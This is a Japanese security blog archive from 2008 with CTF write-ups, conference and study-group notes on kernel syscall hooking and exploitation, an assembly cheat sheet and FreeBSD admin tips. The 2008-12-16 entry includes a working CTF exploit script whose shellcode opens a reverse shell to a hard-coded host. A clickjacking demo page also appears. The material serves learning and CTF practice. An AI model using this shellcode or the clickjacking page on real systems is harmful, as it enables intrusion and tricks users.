skeleton.c      skeleton.kld    skeleton.ko     skeleton.o
# kldload ./skeleton.ko
Skeleton KLD loaded.
# kldunload ./skeleton.ko
Skeleton KLD unloaded.
#

参考:

ローレイヤー勉強会(LowLayer_01_rk_FreeBSDKernHack.pdf)

FreeBSD Architecture Handbook(Dynamic Kernel Linker Facility - KLD)

2008-12-16

WBvol44の締切は19日までですよー

WBvol44が再募集で締切が19日になりましたのでみなさん奮ってご応募ください

http://akademeia.info/index.php?FrontPage#zee1965f

あと、Black Hat Europe 2009のCFPの締切はJanuary 1, 2009ですよー

http://www.blackhat.com/html/bh-europe-09/bh-eu-09-cfp.html

みなさん奮ってご応募ください(ちょw

追記:Black Hat Europe 2009のCFP締切がFebruary 1, 2009になってました。Black Hat DC 2009のCFP締切がJanuary 1, 2009らしい。

WBvol44の原稿送りました

ぎりぎり間に合った〜

今回のネタは「DEFCON CTF 2008 RealWorld 200」の回答でつ。結構長くなりました(参考文献)。

WBvol44更新されました(2008/12/22)。

追記:解き方補足

他の人から教えてもらったものなので、WBには書くのをためらったのですが、実はRealWorld 200はすばらしい模範解答がありまして、callocで確保されたメモリ領域は0x00で初期化されるので、マシン語コードとして実行した場合、0x00000000....は、add %al, (%eax) ってな感じになります。ここで、%alが0x00だったならば、この命令はNOPと同じ働きとなるため、わざわざ確保されたメモリ領域を推測せずとも良いわけです。つまり、結果的に、アドレス0804C000にジャンプさせるだけでshellcodeが実行できることになります。わざわざmallocではなくcallocを使ってたのはこのためだったのか…、と、少しCTFの問題作成者を見直しました。これは確かに良問ですね。というわけで、最終的な攻略コードはこんな感じ。

-----  exploit200r.py
#!/usr/bin/python
from socket import *

if __name__ == "__main__":

        s = socket()
        s.connect(('10.81.45.21', 3344))

        shellcode = "\x6a\x61\x58\x99\x52\x42\x52\x42\x52\x68"
        shellcode += "\x56\x51\x2d\x15" ## REMOTE ADDR
        shellcode += "\xcd\x80\x68"
        shellcode += "\x10\x02\x1e\x61" ## REMOTE PORT
        shellcode += "\x89\xe1\x6a\x10\x51\x50\x51\x97"
        shellcode += "\x6a\x62\x58"

        s.send(shellcode + '\n')

        shellcode = "\xcd\x80\xb0\x5a\x52"
        shellcode += "\x57\x52\xcd\x80\x4a\x79\xf6"
        shellcode += "\x68\x2f\x73\x68\x00\x68\x2f\x62"
        shellcode += "\x69\x6e\x89\xe3\x50\x54\x53\x53"
        shellcode += "\xb0\x3b\xcd\x80"
        shellcode += "\x00\xc0\x04\x08" ## RET ADDRESS

        s.send(shellcode + '\n')
        s.close
-----

うーん、すばらしす。

2008-12-07

CTF09勉強会に行ってきました

第二回CTF09勉強会(↓)に行ってきました。

http://ja.avtokyo.org/projects/ctf09/2nd

土曜日10:00時から開始。参加者は16名ほどでした。第二回目となる今回はフォレンジック系が中心。参加者は全員自前のノートPC必須で、開始早々、問題が置いてあるサーバだけを知らされて、いきなり「じゃあ、解いてください」という感じ(笑)。本戦と同様に、IDとパスワードを入力してログインし、得意な問題を選択し、ダウンロード。サーバへ回答を入力し、正解なら次の問題へ、という感じです。それぞれの問題にはレベルが設定されており、正解したらそのレベル分だけ自分の点数に加算されます。そして、本戦同様、ランキングがリアルタイムで表示されます。

最初は全員、ツール(sleuthkit、autopsy)のインストールで、問題解くどころじゃなかったので、ランキングもそれほど変動せず。インストールが完了したらじょじょにランキングに異変が…。あと結局ツールを使わずに、バイナリエディタだけで解いてた人もいました(それでも結構上位にいるという有り得なさっぷり…)。

「ちょっと問題をやってみたいぜ」という方は、レベル100〜300までの3問をこちらに置きました。正解はそれぞれ「PASSWORD1: ****」「PASSWORD2: ****」「PASSWORD3: ****」という形式になっています。3問が全部1つのファイル(usb.bin)に入っています。レベル400、レベル500は、近いうちにctf09勉強会サイトにアップされると思います。あと興味があれば2008年のctf問題もどうぞ

最後にctf2008フォレンジックのレベル500問題を福森氏に解説してもらったのですが、まず問題はただのpng画像、ただ透明色が使われており、RGBAのA(透明色)をクリアすると、背景にランダムと思われるようなドットが見える。その一見ランダムと思われる全ドットのRGBを正規化すると特徴的なデータが検出される。その特徴的なデータ部分だけを抽出して、それらのドットのそれぞれの差分をとると、ASCII文字コードとなっており、それが答え、ということらしい。詳しくはこちらをどうぞ。

個人的にはフォレンジックは苦手分野で、500問題とか奇跡が2回くらいおきないと解けなさそうでつ…orz。そんなこんなで無事、第二回CTF09勉強会は終了しました。今回はフォレンジックだったので、次の第三回目はexploit辺りでしょうか。個人的には廃止になったWeb Hackingもやってもらいたいですが…。


(追記:↓問題を解きたい人のために反転させています)

レベル100回答(追記)

sleuthkitとautopsyをインストールして、autopsyを起動。usb.binを読み込む。ALL DELETED FILESをクリックすると、削除されたファイル一覧が表示され、C:\_ASSWORD.txtというファイルがあるので、そのファイルに該当するセクター(3444)を見ると何やらBase64変換されたような文字列(最後に'='がついているため)がある。それをBase64変換すると、「PASSWORD1: ****」という文字列になる。

レベル200回答(追記)

同じく削除されたファイル一覧を見ると、C:\_ASSWORD.zipというファイルがあるので、そのファイルに該当するセクター(3448)を見る。すると、「PASSWORD2: ****PK」という文字列が見つかる。"PK"はZIPファイルの識別子みたいなものなので無視すると、最終的に「PASSWORD2: ****」という文字列がパスワードとなる。ちなみにセクターをファイルに落として、ZIPファイルとして展開しても同じパスワードが得られるが、その際、ZIPファイルの先頭4バイトが"00"に変更されているため、それをZIPファイルの識別子「50 4B 03 04」に変える必要がある。

レベル300回答(追記)

同じく削除されたファイル一覧を見ると、C:\_ASSWORD.pngというファイルがあるので、それを実際のファイルにダンプする。一見普通のpng画像だが、ARGBの「A(透明色)」がMAXになってるので良い画像ソフトだと、すべて透明で何も見れない。それでアクセサリのpaintなどを使うと、paintは透明色を扱えないので透明色がオフになり見えるようになるのですが、password3としか出ない。それで、画像の左上をよく見ると、若干黒い点が6つほど横にならんでおり、1ドットにつきARGBの4バイト、つまり6ドットで24バイト。その24バイトがASCII文字列となっており、パスワード「PASSWORD3: ****」となる。

2008-12-03

Clickjacking

まっちゃ445でも話題にあがったclickjacking。

ブラウザに透明なフレームを貼付けて、ユーザーに意図しないリンクをクリックさせる攻撃方法

http://www.planb-security.net/notclickjacking/iframetrick.html

ソースコードは↓こんな感じ

<html>
<title>Real Clickjacking?</title>
<head>
<style>
span.fakebutton_1{background-color:red;font-weight:bold;font-size:12px;
	position:absolute;top:463px;left:365px;z-index:-10}
span.fakebutton_2{background-color:orange;font-weight:bold;font-size:12px;
	position:absolute;top:536px;left:400px;z-index:-10}
iframe.myspace{opacity:0;filter:alpha(opacity=0)}
div.demo_text{position:absolute;top:10px;left:10px;}
a.reveal{z-index:10;}
div.checkit{position:absolute;top:650px;left:10px;}
</style>
</head>
<body>
<br>
<h2>TEST</h2>
<a href="#really" class="reveal" onClick='getElementById("myspace").style.MozOpacity=0.4;
getElementById("myspace").filters.alpha.opacity=40;'>print</a><br>
<a href="#really" class="reveal" onClick='getElementById("myspace").style.MozOpacity=0;
getElementById("myspace").filters.alpha.opacity=0;'>unprint</a>

<iframe id="myspace" class="myspace" width=800 height=800 scrolling=no src="http://google.com/"></iframe>

<span class="fakebutton_1"><blink> Click 1 </blink></span>
<span class="fakebutton_2"><blink> now here... </blink></span>

<div class="checkit">
<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." :
"http://www.");
document.write(unescape("%3Cscript src='" + gaJsHost +
"google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
</script>
<script type="text/javascript">
var pageTracker = _gat._getTracker("UA-5385225-2");
pageTracker._trackPageview();
</script>
</body>
</html>

iframeが透明表示でもちゃんとクリックできる。

スタイルシートでiframeの上に何かを表示させられるのが問題なのか? それともiframeを透明にできるのが問題なのか? 難しいところ。

2008-11-29

まっちゃ445勉強会をリアルタイムで実況してみた

第03回まっちゃ445勉強会↓を現在進行形で実況してます

http://sites.google.com/site/matcha445/saturday-workshop/3rd-workshop-2


感想ではなく実況なのでいろいろと雑です。

雰囲気を味わってもらえれば幸いです。


13時00分開始。参加者は60名〜80名ほどいらっしゃいます。会場いっぱいです。まず、開会の挨拶+スタッフの自己紹介です(開始22分)。続いて参加者の自己紹介です(開始28分)。

自己紹介終了。休憩後、セキュアOSのセッション開始です(開始55分)。

「セキュアOSが進化した歴史を振り返って来年はチャレンジしよう」が始まりました(開始67分)。

Linuxをインストールするときは、大抵はSELinuxの設定をどうするか聞かれます。2003年ごろはアンチクラッキング機能として宣伝されており、万が一の被害を受けても影響を最小限にできる。具体的にはプロセス同士を壁で切り分ける(強制アクセス制御)。LSM(Linux security module)をフックすることで、判断プログラムを追加している。このセキュア機能を使うと、仮にMSPサービスにおいて、過去12ヶ月間に29種類のパッチをスキップしてもセキュリティ的に問題なく運用できた。つまり、毎回のパッチアップデートをある程度ほうっておいても、セキュア機能で対処できる(開始81分)。

セキュアOSは大きく分けて、トラステッドOSを継承するセキュアOS、カーネル型のセキュアOS、ドライバ型のセキュアOSなどがある。オープンソフトのセキュアOSにはSELinux、TOMOYOLinux、AppArmor、RSBAC、LIDS、SMACKなどがある。逆に商用では大手企業が結構参入している。SecuveTOS、SHieldWARE、Hizardなどがある(開始85分)。

しかし、オープンだろうと、商用だようと、目的は同じ。つまり強制アクセス制御と最小特権。また、商用製品は運用管理ツールが優れている。GUIとか。また、なぜ突然セキュアOS機能が追加されたのか? その理由は何? それは、政府機関の情報セキュリティ対策のための統一基準や金融機関の安全対策などがある(開始91分)。

今後セキュアOSは? 導入例は急増。応用もできる。サーバ分野では結構いけてる。SE-PostgreSQL、Apache + SELinux Plus、SELinux + VMWare、最近は仮想化と連携したりする。組み込み分野にも適用されつつある。クライアント向けはどうか? SELinuxKioskモード。TOMOYO Linuxなど(開始116分)。

今後はインストール時にセキュア機能をONにしてみてはどうでしょうか? セキュアOS関連の勉強会は「セキュアOS塾」などがある→http://www.secureos.jp/index.php?events/jyukuので興味ある方は参加してみてはどうでしょうか?


以降はショートプレゼンです。技術よりで覚えているのものだけ。

clickjackingの解説。iframeタグを二重に重ねて、片方を透明にすることで、ユーザーが意図しないリンクをクリックさせることができるデモです。実際に普通のページとgoogleのトップを二重に表示させ、googleの表示を透明するデモを行われました。

metasploit3.2の機能紹介。なんでもありな感じになってるっぽい。

実際にセキュアLinuxKiosk)を使ったデモ。制限がかかっているフォルダにはアクセスできないどころか表示もされません。また、フォルダやファイルを作ってもログアウトすると次は消えてます。変なアプリをインストールされても大丈夫っぽい。これからはセキュアOSの時代?

2008-11-22

ローレイヤー勉強会をリアルタイムで実況してみた

ローレイヤー勉強会 第一回

http://www4.big.or.jp/~kanai/MT/archives/000846.html


感想ではなく実況なのでいろいろと雑です。

雰囲気を味わってもらえれば幸いです。


一発目は村上氏のプレゼンで、Linuxカーネルのシステムコールをフックする内容です。例えばwrite関数を呼び出すと、内部でint 80hが呼ばれてカーネルへ処理が移るが、そのときカーネル内でどのような処理が行われるかを説明されてます(開始20分)。

システムコールをフックするためには、どこを書き換える必要があるか? カーネル内にはテーブルが2つあります。IDTを書き換えるか? sys_call_tableを書き換えるか? またカーネルにはどうやってアクセスするか? とりあえずLKM(デバイスドライバ)を書きましょう。もちろん各種カーネルモジュールを使っても大丈夫。また/dev/以下にはデバイスとつながっているファイル群が存在するため、それらを用いてもカーネルへアクセスできるよね。/dev/kmemとか。詳細はman 4 kmemとか見ましょう(開始23分)。

要するにカーネルモジュールを作って、上記のテーブルにパッチを当てると、いろいろと面白いことができるんじゃないか? というわけで、LKMプログラミングを勉強しましょう。ただ、LKMプログラミングは、若干特殊だから、その辺りをまず勉強する必要があります。バグがあればカーネルパニックです。あと、カーネルの場合、コンテキストなどを意識してプログラミングする場合があります(開始27分)。

Linuxカーネルをコンパイルするためのコマンドを解説。CentOS上で環境を構築する。menuconfigとか、makeとか、installkernelとか、vmlinuxとかを紹介。/boot/直下を見ると、vmlinuzというのがあるが、これはカーネル起動時に読み込まれるもの。じゃあ、vmlinuxって何だろう? これはELF形式のカーネルのイメージです。デバッグとかそういうときに使い分けます。あとはrebootするとオーケーです(開始34分)。

ではさっそくオリジナルソースコードをカーネルソースに追加します。自前のカーネルモジュールは、カーネルツリーに含める方法と、カーネルツリーに追加しないでビルドする方法があります。printfの代わりにprintkとか使います。/var/log/以下にログが出ます。ソースコード内の解説。init_moduleはモジュールがロードされたときに実行されます。cleanup_moduleはモジュールがアンロードされたときに実行されます(開始41分)。

まずは、sys_call_tableの場所を特定する必要がある。System.mapを見よう! これはシンボルとアドレスを一致させているとても有用なもの。これで、sys_call_tableのアドレスを特定できる。やり方は他にもある。gdbでカーネルのメモリにアタッチして、直接見よう! gdbでカーネルにアタッチして「p/x &sys_call_table」とか「x/28w &sys_call_table」とかで見れます(開始46分)。

次に偽物(代わりとなる関数)を作成しましょう。とりあえず簡単に、printkでログをだしてオリジナルシステムコールを呼ぶ処理を実装します(開始50分)。

実際にシステムコールをフックするデモンストレーション。自前のモジュールをカーネルへロードすると、ログが表示されます(開始54分)。

以上で1時間目を終了です。とりあえず、自分が認識できたことだけ、可能な限り書きました(自分が聞いた段階での認識間違いがあるかもしれません)。


〜10分休憩〜


二時間は丹田氏のプレゼンです。Linuxの次はWindowsのカーネルです。早速はじまりました(開始2分)。

アンチアクセスチェック、Windowsのアクセスチェックを無効にするツールを作っちゃいました。いきなりそれのデモンストレーションです(ソースコード配布アリ)。このツールを使うと、読み込み専用の共有フォルダに対して、書き込みや削除が可能になります(開始18分)。

カーネルというのは、PID=8が活躍している場所です。実体はntoskrnl.exeです。よって、このファイルを削除するとOSが起動しないです。それで、そもそもカーネルの仕事というのは、システムコールの提供やハードウェアの制御など。でも、プログラマは、カーネルを利用することで、Windows全体に影響を与えることができる。それも、ごく少量のコードで。では、どうやってカーネルにアクセスするか? WinDbgを使いましょう。WinDbgでカーネルをデバッグする場合、2台のマシンが必要ですが、VMを使えば1台でも可能。また、LiveKdなどもツールも便利。WinDbgを利用してWindowsのメモリダンプを取得できる。このツールの利点は、Windowsを停止させる必要がない(開始24分)。

カーネルモジュールは.sysファイルです。win32k.sysはWindowsサブシステムです。デバイスドライバの動作イメージは、ざっくり説明すると、カーネルのDLLというイメージ。DLLがプロセスのメモリ空間を自由に参照できるのと同様に、カーネルモジュールもカーネルのメモリ空間を参照できる。なので、カーネルにパッチをあてるときは、カーネルモジュールを作るのは良い(開始27分)。

カーネルモードプログラミングは基本的にコマンドプロンプトでコンパイル。資料もないし結構大変。でもここが一番の障壁であとは楽しい! そしてカーネルモードではRing0を持つことができるため、特権命令が使えます。また、ユーザーへのインターフェースを持たないから、基本入出力はファイルやレジストリを通します。でも、DDKWizardとかDebugViewとかで開発を補助できます(開始33分)。

では、実際にHello Worldを出力するカーネルモジュールをロードするデモをしましょう。実際にコマンドラインからモジュールをロードし、DebugViewで出力を表示された。では、次にデバッグをしてみよう。デバッガでカーネル(モジュール含む)にアタッチすると、アタッチされたカーネルは停止して、デバッグ情報がWinDbgに表示されます。この状態でソースコードレベルでのデバッグも可能。ソースレベルでブレイクポイントも設置できるので、開発はかなり便利(開始43分)。

デモンストレーションはどんどん進むよ。次はmsrのアドレスを出力するデモをやりつつ、カーネルモジュールをロードするためには、サービスマネージャ関数を使います。また、カーネルモジュールはboot直前にロードされたり、ログイン後にロードされたり、任意でロードされたりといったようなロードのタイミングを決められます。また、NtSetSystemInformationを使ってもモジュールをロードできるけど、最近のOSでは使えなくなりました(開始54分)。

システムコールってどうやって呼び出されるかというと、例えば、SHELL32.dllの中にあるShellExecuteExWが呼ばれると、次にkernel32へ進み、次にntdll.dllへ進み、次にnt!KiFastCallEntryへ進みます。このような、どんどんカーネル部分へ進んでいく感じで、最終的にシステムコールへたどり着きます。結局すべてのWin32APIはカーネル内に存在するネイティブAPIへたどりつくため、カーネルをいじればいろんなことができます。そして、カーネルへ進むためには、sysenter命令を呼び出されますから、それをフックしましょう。sysenterフックは要するにmsrを書き換えることなので、ここを書き換えてsysenterフックをします。ただ、すべてのプロセッサ(CPU)に対して書き換えを行わなければならないため、複数のCPUを保持していたら、それら全部を書き換えましょう(開始64分)。

デモンストレーションはどんどん進みます。カーネル内のKiFastCallEntryをフックすることで、すべてのプロセスのシステムコール呼び出しを監視できます。ただ、カーネルモードでいろいろやっているため、ユーザーモードには基本的に感知できないです。KiSystemServiceにシステムコール用の関数ポインタ群が入っているため、それらを変更するだけで、システムコールをフックできます(開始73分)。

以上で2時間目を終了です。同じく、自分が認識できたことだけ、可能な限り書きました(自分が聞いた段階での認識間違いがあるかもしれません)。


二時間目は、本当はもう少し続くんですが、ちょっとマシンのバッテリーがなくなってきたので、ここで止めておきます^^;。あと聞きながらリアルタイムで書いていたので、間違い(スピーカーの間違いではなく、僕の聞き間違いとか)多々あると思います。あとテキスト的にはかなり雑ですが(本当に聞きながら書いていたので)、雰囲気だけでも感じてもらえればと思います。第二回目がいつあるか分かりませんが、このように低レイヤーでコアな勉強会はあまり無いと思いますので、もし興味があれば参加してみてはどうでしょ? ちなみに、どちらも後ほど資料を公開するということでした。皆様、お疲れ様でした。


(追記)資料が公開されています。

http://groups.google.co.jp/group/lowlayer/files

2008-11-14

POCセッション解説(1日目)


9:30 ~ 10:30 Stefan Esser, "Vulnerability Discovery in Closed Source/Encrypted PHP Application"

1日目、最初のセッションはPHPの話。この方どうやらPHPの開発者みたいで、PHPについてはほぼ熟知しているみたい。PHPスクリプト言語で、ソースは見えるんだけど、昨今のセキュリティ事情も相まって、PHPスクリプトも難読化や暗号化が施されるようになったり、それ専用のライブラリが提供されたりしている(ionCube)。そうなると、ソース解析をしたくてもできないわけだけど、PHPは、内部的な処理では、中間言語に直し、それを実行しており、その中間言語に直された時点でのコードを解析すれば、普通にコードが追えるよ、という話。PHPにおける難読化やそれに対する解析方法を解説したセッションでした。


11:00 ~12:00 GilGil, "Somthing New, Unknown, and Critical about VoIP Hacking"

2時間目はVoIPの話。VoIP専用の機器には大抵SIPプロトコルが使われているのだが、そのセッション管理時に、ユーザー名とパスワードをキーとしてハッシュを生成している。そのハッシュ生成のアルゴリズムが弱いため(悪いのはSIPではなく機器が実装しているプロトコル?)ちょっとした総当たり攻撃で通信データから簡単にユーザー名とパスワードが割り出せる。そうなると、パケットをキャプチャしただけで、IPに対するユーザー名とパスワードが解析でき、危険だよ、という話。実際にDemoがあり、VoIPでの電話中に、パケットをキャプチャしているだけのPCにユーザー名やパスワードがリアルタイムで表示されていた。これを悪用すれば、他人に成りすまして電話したりできるらしい。


13:00 ~ 14:10 Mudsplatter, "Physical Hacking and Security Just for Fun"

午後一発目は、コンピュータとは何も関係ない話(笑。部屋の中に引きこもってPCをいじっているだけなんて馬鹿らしいぜ! という具合で、体当たりでいろんなところを見に行く話。具体的に、アメリカンマフィアの会話(インタビュー?)を勝手に録音したり、どこかのデータセンター(どう考えても撮影禁止)のマシンルームに侵入して盗撮したり、といった話。あとはソーシャルハッキングとか。コンピュータとは関係なかったけれど、プレゼンとしては十分面白かったです。


14:20 ~15:30 Hasegawa, "Attacking with Character Encoding for Profit and Fun"

BH JapanAVTokyoの内容にさらにIE8のセキュリティが追加された内容。文字コード問題は韓国にもあると思いますが、韓国はActiveXのセキュリティホールを利用した任意のコード実行といった攻撃が一般的らしく、XSS系や文字コード系はあんまり研究されてない模様。まぁ確かに韓国はネットワークゲームが盛んだからActiveXを利用する機会が多く、逆に日本はActiveXは敬遠されがちなので、この辺りは文化の違いでしょうか。


15:40 ~16:50 Ero Carerra, "Analysys and Visualization of Common Packers"

初めてのバイナリ系セッション。一般的なパッカーがどのようなマシン語を生成するかといったことを解説する内容。主に、IDAProが解析をミスするようなバイナリ構造を詳細に解説していた。実際に実行させるとこうなるが、IDAProはここの解析をミスってこのように表示させてしまう、みたいな。動的な解析についてはほとんど触れず、IDAProを中心とした逆アセンブラをどのように欺くかが、セッションの中心でした。


17:00 ~18:10 Grugq, "How the Leopard Hides His Spots: OS X Anti-Forensics Techniques"

Gregq氏はタイのエンジニアらしく、タイではフォレンジックとか盛んではないのか、一人でずっと研究をやってるぜ! と言ってました。カッコヨス! それはそうとセッションの内容ですが、アンチフォレンジックという、フォレンジックに対抗する方法みたいな内容で、具体的には、フォレンジックツールでNTFSとかFATとかHFS+とかを読み込ませたときに、その中のファイルフォーマットがおかしなことになっていたら(アタッカーが意図的におかしなことをしていたら)、まったく関係ないデータを出力させたり、任意のコードが実行できたりするぜ、という話(詳しくは分からん)。アプローチとしては、アンチリバースエンジニアリングと同じようなものかな。確か今年のBH USAでもフォレンジックツールを利用して侵入するrootkitがある的な内容を少し聞いた気がするので、多分そういう話だと思います。


以上で1日目終了です。ちなみにセッションは常に、ネイティブ韓国語→英語翻訳→俺理解、もしくは、ネイティブ英語→俺理解、という流れなので、ここに書かれてあることが間違っている可能性は十分にありまつ(汗)。

POCセッション解説(2日目)


09:10 ~10:10 Dual5651 & gotofbi, "Hacking the Cable Modem"

モデムを解析(ハッキング)して、利用できる帯域を増やしたり、使用できるIPアドレスを増やしたりする話。日本のモデムだとどう考えても有り得ないような気がしますが、モデムをハックして内部の設定ファイルを書き換え、それによってダウンロード帯域やアップロード帯域を増やすDemoが実際に行われた。これ法律に引っかかったりしないのかなぁと思ったけど、韓国の法律はよく分からない。「日本やアメリカだとそんなことは絶対にできないと思うけど、韓国のモデムはそんなに脆弱なの?」という質問があったが、一応、設定ファイルのMD5とか取られてていろいろと対策はされていたけど、俺たちは出来たぜ! といった感じでした。ちなみにスピーカーのひとりは若干20歳の天才ハッカーらしいです。


10:20 ~11:10 Xpl017Elz, "New Local & Remote Exploit to Get Over Exec-shield Protection"

Fedoraのセキュリティ対策機能を回避してshellcodeを実行させる話。FedoraはCPUのNXビットによりスタックには実行権限を与えていないし、プロセスが利用するスタックのポインタ(esp)を実行毎にランダムに変化させるので、例えスタックバッファオーバーフローがあっても、任意コード実行には至らないと思われているけど、それを巧みに破った話。具体的には、プロセスにモジュールを動的にマップして、そのモジュールに処理を飛ばすことで任意のコード実行が可能ということらしい。でもコンパイルオプションで関数の最初と最後にカナリア入れられたら結局ダメなので、あくまでもFedoraのセキュリティ機能を破ったという話かな。ちなみにこれは前半の話で、後半はremoteからapacheの脆弱性を使ってrootを奪取する話だったらしいのですが、ワケあって聞けませんでしたorz。


11:20 ~12:30 ICBM, "FrontLine Report: Fighting Against Malware in China"

中国のセキュリティ事情の話。技術的なものではなく、中国のセキュリティ業界全体の話で、中国にはホワイトハットとブラックハットがいて(どこも同じでつ)、ブラックハットは若い人が多い。また、若い人が楽してお金を儲けようとして、0-dayやmalwareを作って売っていたりする。実際に捕まる人もいて、そういう人もだいたいは若いひとらしい。また、ブラックハットにもいろいろな種類がいて、malwareやrootkitを作って儲けようとする人、コピーソフトを売って儲けようとする人、exploitを作り売って儲けようとする人などがいる、と。また、ほとんどのブラックハットはまだ中国の中でしか活動していないが、今後世界に進出するかもしれない。また、そういう悪意あるハッカーといかに戦っていくか、といったことを考えているらしい。どこの国も同じですね。


14:00 ~15:10 Lukas Grunwald, "ePassport Reloaded, 2 Years After and Still Not Secure"

現在のパスポートにはICチップが入っていて、パスポートをコンピュータで読み込むことで本人の認証ができる。しかし、パスポートの中に入っているデータはハッキングすることでコピー(クローン)を簡単に作ることができ、電子認証としてなら、同じパスポートを複数作ることができるので危険だ、という話。一般的な国は、人間(検査官)がパスポートの写真や名前などを確認して、入国者の入国審査を行うが、ヨーロッパなどの国では、電子認証だけで通す場合もあるらしい。その場合、違法な入国を許してしまうことになる。といったような、パスポートのICチップを書き換える、という話でした。


15:30 ~16:40 Kuza55, "Same Origin Policy Weaknees"

これまでのWebアプリセキュリティを総括した話。古いバージョンのFlashでgmailに対してxssを行うDemoをやったりもしましたが、内容としては、これまでのWebアプリケーションセキュリティをまとめたもので、新しい研究的なものではないとのこと。そういえば、BH USAでも、Webアプリ系はこういうのばかりだったので、最近はこういう「体系的にまとめる系のプレゼン」が流行っているのでしょうか。Webアプリ系はよく知らないので、個人的には有り難いのですが、もしかしたら、金床氏の「Webアプリケーションセキュリティ」を読んでおけば良いというだけの話かもしれない。


16:50 ~18:00 Winner of Reverse Engineering Contest, "Analysis of the Contest Files"

POC主催のリバースエンジニアリングコンテストの回答の話。ただ、プレゼン資料がほぼ韓国語だったので、事実上、聞こえてくる英語翻訳がすべての鍵を握っている! と思ったら、一番聞き取りにくい翻訳の人来ちゃったよこれorz。まぁ説明の必要もないと思うので、これはスルーしまつ。


以上で2日目終了です。ちなみに2日目は英語も慣れてきて結構分かるようになってきたんじゃないのか? と思いきや、疲れが見え始めて認識力が低下し、結果、ところどころはせがわ氏に教えてもらう感じになりました。というか、2日目のはせがわ氏は英語スキルが格段に上がっており、普通に話せてました。あれ? もしかして俺いらなくね?

POC全体の総括としては、やはり韓国や中国のセキュリティ事情が分かったのが大きかったです。例えば韓国だとActiveX全盛だとか。また、日本だと研究的な内容が評価されるのに対し、韓国だと、実演(実際にrootとったりとか、帯域が増えたりとか)のような、目で見える形でのプレゼンが評価されるようです。こういうのは文化の違いでしょうか。

そんなこんなで無事、人生初の韓国旅行出張は終わりそうです。明日の朝8時の飛行機で発ちます。ではでは。

2008-11-11

突然ですが、明日、韓国に行ってきます

明日から15日までPOCに参加するため韓国に行ってきます。POCは韓国で有名はセキュリティカンファレンスで、世界中から有名なエンジニアが集まってくるらしいので、かなり楽しみです。ちなみに2007年のPOCではSSTの福森氏が、そして今年(2008年)のPOCではネットエージェントのはせがわ氏がスピーカーとして話されます。BH USAの村上氏もそうですが、その、なんというか、要するに、世界進出ですよね。。。テラスゴス!!

2008-11-01

よく使うASM命令ベスト100位に説明つけてみた(7/10)

http://d.hatena.ne.jp/rootkit/20080818/1219042285

ベスト50位の中から、最低限これだけ覚えておけばきっと解析できる命令をまとめてみた。


関数呼び出しやEIP変更関連の命令

push	スタックへ値を格納
pop	スタックから値を取り出す
call	スタックに次の実行命令のアドレスを入れてジャンプ
leave	retの前に置かれるもの("mov esp, ebp"+"pop ebp"と同じ)
ret	スタックのトップにある値を取り出してそこへジャンプ
jmp	指定アドレスへジャンプ

値の操作系の命令

mov	レジスタ値やメモリの値を転送
movzx	渡したレジスタ値やメモリ値のサイズが異っても転送可能なmov
lea	説明しにくい。まぁ[]の中の計算結果がレジスタへ入ると覚えておけばおk
xchg	2つのオペランドを交換する(xchg eax, ebxでeaxとebxの値が交換される)
add	値を加算(足し算)
sub	値を減算(引き算)
inc	インクリメント 値に1加算
dec	デクリメント 値から1減算

条件分岐系の命令(重要

cmp	値を評価してフラグに反映
test	フラグだけ変化するAND命令(真 or 偽 だけを判断する時によく使う)
je	ZF=1 同じならジャンプ
jz	jeと同じ意味
jne	ZF=0 違うならジャンプ
jnz	jneと同じ意味
ja	CF=0 && ZF=0 符号なしで、大きいならジャンプ
jae	CF=0 符号なしで、以上ならジャンプ
jb	CF=1 符号なしで、小さいならジャンプ
jbe	CF=1 && ZF=1 符号なしで、以下ならジャンプ
jl	SF!=OF 符号ありで、小さいならジャンプ
jle	ZF=1 or SF!=OF 符号あり以下ならジャンプ
jg	ZF=0 && SF=OF 符号ありで、大きいならジャンプ
jge	SF=OF 符号ありで、以上ならジャンプ

ビット操作系の命令

xor	ただのxor(C言語の ^ ←これ)
and	ただのand(C言語の & ←これ)
or	ただのor (C言語の | ←これ)
shl	左方向にシフト(C言語でいう << ←これ)
shr	右方向にシフト(C言語の >> ←これ)
not	1の補数値にする(要するにビット反転命令)
neg	2の補数値にする(符号ありの値に対して、符号を反転させる)

データ列の操作命令(文字列処理など)

rep	ECXが0になるまで次の命令を繰り返す(比較命令時はZFフラグも見る)
movs	repと組み合わせることで大量のデータを一気に転送できる(EDIやESIと連動)

デバッグ系命令

int3	デバッグ用割り込み
nop	何もしない

並べてみると少し心許ない気もしますが、とりあえずこれだけ暗記しておけば何とかなると思う。

関連記事:http://07c00.com/text/revasm/revasm.txt

2008-10-31

Linuxしか知らない人がFreeBSD触ってみた(完全に自分用memoです)

1、FreeBSDでsuしても「Sorry」とか言われてrootになれない…orz

/etc/groupファイルを変更し、su実行ユーザーを追加

# $FreeBSD: src/etc/group,v 1.35 2007/06/11 18:36:39 ceri Exp $
#
wheel:*:0:root,kenji(←suを許可するユーザーkenjiを追加する)
daemon:*:1:
…

2、ネットワーク設定ファイルが分からない…orz

FreeBSDなら/etc/rc.confを変更、Linuxなら/etc/network/interfacesを変更

名前解決はどちらも/etc/resolv.confを変更

3、好きなアプリケーションをインストールできない…orz

Linuxならapt-get

# apt-get update
# apt-cache search httpd
# apt-get install apache

FreeBSDならports

# cd /usr/ports
# whereis openssh
openssh: /usr/ports/security/openssh
# cd /usr/ports/security/openssh
# make configure
# make
# make install
# make clean
# rehash

またportsは自前でupdateできないっぽいので、

updateのためにcvsup(cvsup-without-guiでも可)とfastest_cvsupをportsでインストールして使用

# fastest_cvsup -c jp
# cp /usr/share/examples/cvsup/ports-supfile /etc
# vi /etc/ports-supfile(←作成&編集)
*default_host="(fastest_cvsup実行時の出力ホストを設定)"
# cvsup -g -s /etc/ports-supfile
(update完了)

4、inetdとか使えないの?

FreeBSDLinuxも/etc/inetd.confを編集すればOK

(ただ、inetd自体がデフォルト起動になってないかもしれない)

5、OS起動時に実行したいスクリプトを設定したい

Linuxの場合、/etc/init.d以下にスクリプトを追加して、runlevelコマンドで調べたディレクトリ以下辺りに(/etc/rc2.d以下とか)S99xxxというリンクファイルを作ればOK。

FreeBSDの場合、/etc/rc.d以下にスクリプトを追加して、/etc/rc.confを変更する。仮にOS起動時に/etc/rc.d/testファイルを実行したい場合、/etc/rc.confに以下の行を追記

test_enable="YES"

同じように見えて実は違う、違っているように見えて実は同じ、それがLinuxFreeBSDですよ、きっと。

2008-10-28

書くのが得意? 読むのが得意?

